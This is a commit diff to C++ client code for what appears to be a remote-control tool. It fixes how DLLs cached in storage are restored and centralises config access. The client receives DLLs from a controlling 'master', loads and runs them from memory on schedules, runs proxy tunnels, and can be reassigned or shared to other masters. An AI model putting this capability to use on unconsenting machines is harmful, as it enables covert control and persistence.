Fix: Using wrong DLL info size causes RestoreMemDLL restore failed

This commit is contained in:
yuanyuanxiang
2026-04-26 23:27:54 +02:00
parent fa9ee977b5
commit b98607d24d
2 changed files with 54 additions and 49 deletions

View File

@@ -66,6 +66,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s) CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s) : m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s)
{ {
m_cfg = new iniFile(CLIENT_PATH);
m_ulThreadCount = 0; m_ulThreadCount = 0;
#ifdef _DEBUG #ifdef _DEBUG
m_settings = { 5 }; m_settings = { 5 };
@@ -96,6 +97,7 @@ BOOL IsThreadsRunning(ThreadInfo* threads, int count)
CKernelManager::~CKernelManager() CKernelManager::~CKernelManager()
{ {
Mprintf("~CKernelManager begin\n"); Mprintf("~CKernelManager begin\n");
SAFE_DELETE(m_cfg);
HANDLE hList[MAX_THREADNUM] = {}; HANDLE hList[MAX_THREADNUM] = {};
for (int i=0; i<MAX_THREADNUM; ++i) { for (int i=0; i<MAX_THREADNUM; ++i) {
if (m_hThread[i].h!=0) { if (m_hThread[i].h!=0) {
@@ -239,7 +241,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
DllExecParam<>* dll = (DllExecParam<>*)param; DllExecParam<>* dll = (DllExecParam<>*)param;
DllExecuteInfo info = *(dll->info); DllExecuteInfo info = *(dll->info);
PluginParam pThread = dll->param; PluginParam pThread = dll->param;
CManager* This = dll->manager; CKernelManager* This = (CKernelManager*)dll->manager;
#if _DEBUG #if _DEBUG
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name); WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
DllRunner* runner = new DefaultDllRunner(info.Name); DllRunner* runner = new DefaultDllRunner(info.Name);
@@ -268,10 +270,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL; RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL;
char* user = (char*)dll->param.User; char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user; FrpcParam* f = (FrpcParam*)user;
if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort, int r = 0;
if (proc) {
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit); &CKernelManager::g_IsAppExit);
}
else {
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r) { if (r) {
char buf[100]; char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
@@ -279,7 +286,6 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
ClientMsg msg("代理端口", buf); ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg)); This->SendData((LPBYTE)&msg, sizeof(msg));
} }
}
SAFE_DELETE_ARRAY(user); SAFE_DELETE_ARRAY(user);
break; break;
} }
@@ -287,10 +293,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL; RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL;
char* user = (char*)dll->param.User; char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user; FrpcParam* f = (FrpcParam*)user;
if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort, int r = 0;
if (proc) {
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit); &CKernelManager::g_IsAppExit);
}
else {
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r) { if (r) {
char buf[100]; char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
@@ -298,7 +309,6 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
ClientMsg msg("代理端口", buf); ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg)); This->SendData((LPBYTE)&msg, sizeof(msg));
} }
}
SAFE_DELETE_ARRAY(user); SAFE_DELETE_ARRAY(user);
break; break;
} }
@@ -630,16 +640,15 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
} }
int CKernelManager::RestoreMemDLL() { int CKernelManager::RestoreMemDLL() {
iniFile cfg(CLIENT_PATH);
binFile bin(CLIENT_PATH); binFile bin(CLIENT_PATH);
// 枚举所有以 .md5 结尾的值名称 // 枚举所有以 .md5 结尾的值名称
auto md5Keys = cfg.EnumValues("settings", ".md5"); auto md5Keys = m_cfg->EnumValues("settings", ".md5");
int count = 0; int count = 0;
for (const auto& key : md5Keys) { for (const auto& key : md5Keys) {
// 获取 MD5 值 // 获取 MD5 值
std::string md5 = cfg.GetStr("settings", key); std::string md5 = m_cfg->GetStr("settings", key);
if (md5.empty()) if (md5.empty())
continue; continue;
@@ -657,11 +666,11 @@ int CKernelManager::RestoreMemDLL() {
continue; continue;
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1); const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1);
if (binData.size() < sz + info->Size) if (binData.size() < 1 + info->InfoSize + info->Size)
continue; continue;
// 恢复到 m_MemDLL // 恢复到 m_MemDLL
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + sz); const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + 1 + info->InfoSize);
m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size); m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size);
Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str()); Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str());
count++; count++;
@@ -673,8 +682,8 @@ int CKernelManager::RestoreMemDLL() {
ScheduleParams& sch = infoCopy.Schedule; ScheduleParams& sch = infoCopy.Schedule;
// 从注册表读取运行时状态LastRunTime 和 CurrentCount // 从注册表读取运行时状态LastRunTime 和 CurrentCount
std::string lastRunStr = cfg.GetStr("settings", name + ".lastrun"); std::string lastRunStr = m_cfg->GetStr("settings", name + ".lastrun");
std::string countStr = cfg.GetStr("settings", name + ".count"); std::string countStr = m_cfg->GetStr("settings", name + ".count");
if (!lastRunStr.empty()) { if (!lastRunStr.empty()) {
sch.LastRunTime = std::stoull(lastRunStr); sch.LastRunTime = std::stoull(lastRunStr);
} }
@@ -695,7 +704,7 @@ int CKernelManager::RestoreMemDLL() {
// 如果有时间间隔限制,更新 LastRunTime // 如果有时间间隔限制,更新 LastRunTime
if (sch.Config.Startup.Interval > 0) { if (sch.Config.Startup.Interval > 0) {
YamaTaskEngine::MarkExecuted(&sch); YamaTaskEngine::MarkExecuted(&sch);
cfg.SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime)); m_cfg->SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
} }
// 如果有次数限制,更新 CurrentCount // 如果有次数限制,更新 CurrentCount
if (sch.MaxCount > 0) { if (sch.MaxCount > 0) {
@@ -703,7 +712,7 @@ int CKernelManager::RestoreMemDLL() {
// 如果没更新过 LastRunTime需要单独增加计数 // 如果没更新过 LastRunTime需要单独增加计数
sch.CurrentCount++; sch.CurrentCount++;
} }
cfg.SetStr("settings", name + ".count", std::to_string(sch.CurrentCount)); m_cfg->SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
} }
} }
} }
@@ -721,15 +730,15 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
const T* info = (T*)(szBuffer + 1); const T* info = (T*)(szBuffer + 1);
const char* md5 = info->Md5; const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5); auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) { config *cfg = This->m_cfg;
iniFile cfg(CLIENT_PATH); auto s = cfg->GetStr("settings", info->Name + std::string(".md5"));
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); if ((find == m_MemDLL.end() || s.empty()) && ulLength == sz) {
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) { if (s.empty() || s != info->Md5 || !This->m_conn->IsVerified()) {
// 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码 // 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength); This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
return TRUE; return TRUE;
} }
Mprintf("Execute local DLL from registry: %s\n", md5.c_str()); Mprintf("Execute local DLL from registry: %s\n", md5);
binFile bin(CLIENT_PATH); binFile bin(CLIENT_PATH);
auto local = bin.GetStr("settings", info->Name + std::string(".bin")); auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data()); const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
@@ -741,8 +750,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
// 收到完整 DLL 数据,保存到注册表 // 收到完整 DLL 数据,保存到注册表
if (md5[0]) { if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size); m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH); cfg->SetStr("settings", info->Name + std::string(".md5"), md5);
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
binFile bin(CLIENT_PATH); binFile bin(CLIENT_PATH);
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength); std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
bin.SetStr("settings", info->Name + std::string(".bin"), buffer); bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
@@ -758,7 +766,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
// 替换 .bin 中的参数部分(跳过命令字节) // 替换 .bin 中的参数部分(跳过命令字节)
memcpy(&binData[1], szBuffer + 1, sizeof(T)); memcpy(&binData[1], szBuffer + 1, sizeof(T));
bin.SetStr("settings", info->Name + std::string(".bin"), binData); bin.SetStr("settings", info->Name + std::string(".bin"), binData);
Mprintf("Update DLL params in registry: %s\n", info->Name); Mprintf("Update DLL params [%d bytes] in registry: %s\n", sizeof(T), info->Name);
} }
} }
if (data && SCH_MODE_NONE == info->Schedule.Mode) { if (data && SCH_MODE_NONE == info->Schedule.Mode) {
@@ -783,8 +791,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
switch (szBuffer[0]) { switch (szBuffer[0]) {
case CMD_SET_GROUP: { case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1); std::string group = std::string((char*)szBuffer + 1);
iniFile cfg(CLIENT_PATH); m_cfg->SetStr("settings", "group_name", group);
cfg.SetStr("settings", "group_name", group);
break; break;
} }
@@ -955,22 +962,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE: case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER: case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) { if (ulLength > 2) {
iniFile cfg(CLIENT_PATH);
switch (szBuffer[1]) { switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: { case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3); auto v = StringToVector((char*)szBuffer + 2, ':', 3);
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
break; break;
auto now = time(nullptr); auto now = time(nullptr);
auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str()); auto valid_to = atoi(m_cfg->GetStr("settings", "valid_to").c_str());
if (now <= valid_to) break; // Avoid assign again if (now <= valid_to) break; // Avoid assign again
cfg.SetStr("settings", "master", v[0]); m_cfg->SetStr("settings", "master", v[0]);
cfg.SetStr("settings", "port", v[1]); m_cfg->SetStr("settings", "port", v[1]);
float days = atof(v[2].c_str()); float days = atof(v[2].c_str());
if (days > 0) { if (days > 0) {
auto valid_to = time(0) + days*86400; auto valid_to = time(0) + days*86400;
// overflow after 2038-01-19 // overflow after 2038-01-19
cfg.SetStr("settings", "valid_to", std::to_string(valid_to)); m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to));
} }
} }
case SHARE_TYPE_YAMA: { case SHARE_TYPE_YAMA: {
@@ -984,11 +990,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
break; break;
auto share = v[0] + ":" + v[1]; auto share = v[0] + ":" + v[1];
auto list = cfg.GetStr("settings", "share_list"); auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|'); auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break; if (VectorContains(shareList, share)) break;
shareList.push_back(share); shareList.push_back(share);
cfg.SetStr("settings", "share_list", VectorJoin(shareList, '|')); m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str()); Mprintf("Share client to new master: %s\n", share.c_str());
} }
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
@@ -1003,8 +1009,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE_CANCEL: { case COMMAND_SHARE_CANCEL: {
if (m_ClientApp->IsMainInstance()) { if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH); m_cfg->SetStr("settings", "share_list", "");
cfg.SetStr("settings", "share_list", "");
} }
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ? ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
"Cancel sharing and next run to take effort" : "No permission to cancel sharing"); "Cancel sharing and next run to take effort" : "No permission to cancel sharing");
@@ -1027,8 +1032,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval); Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval);
} }
if (m_ClientApp->IsMainInstance()) { if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH); m_cfg->SetStr("settings", "wallet", m_settings.WalletAddress);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
} }
CManager* pMgr = (CManager*)m_hKeyboard->user; CManager* pMgr = (CManager*)m_hKeyboard->user;
if (pMgr) { if (pMgr) {

View File

@@ -134,6 +134,7 @@ struct RttEstimator {
class CKernelManager : public CManager class CKernelManager : public CManager
{ {
public: public:
iniFile* m_cfg = nullptr;
CONNECT_ADDRESS* m_conn; CONNECT_ADDRESS* m_conn;
HINSTANCE m_hInstance; HINSTANCE m_hInstance;
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s); CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);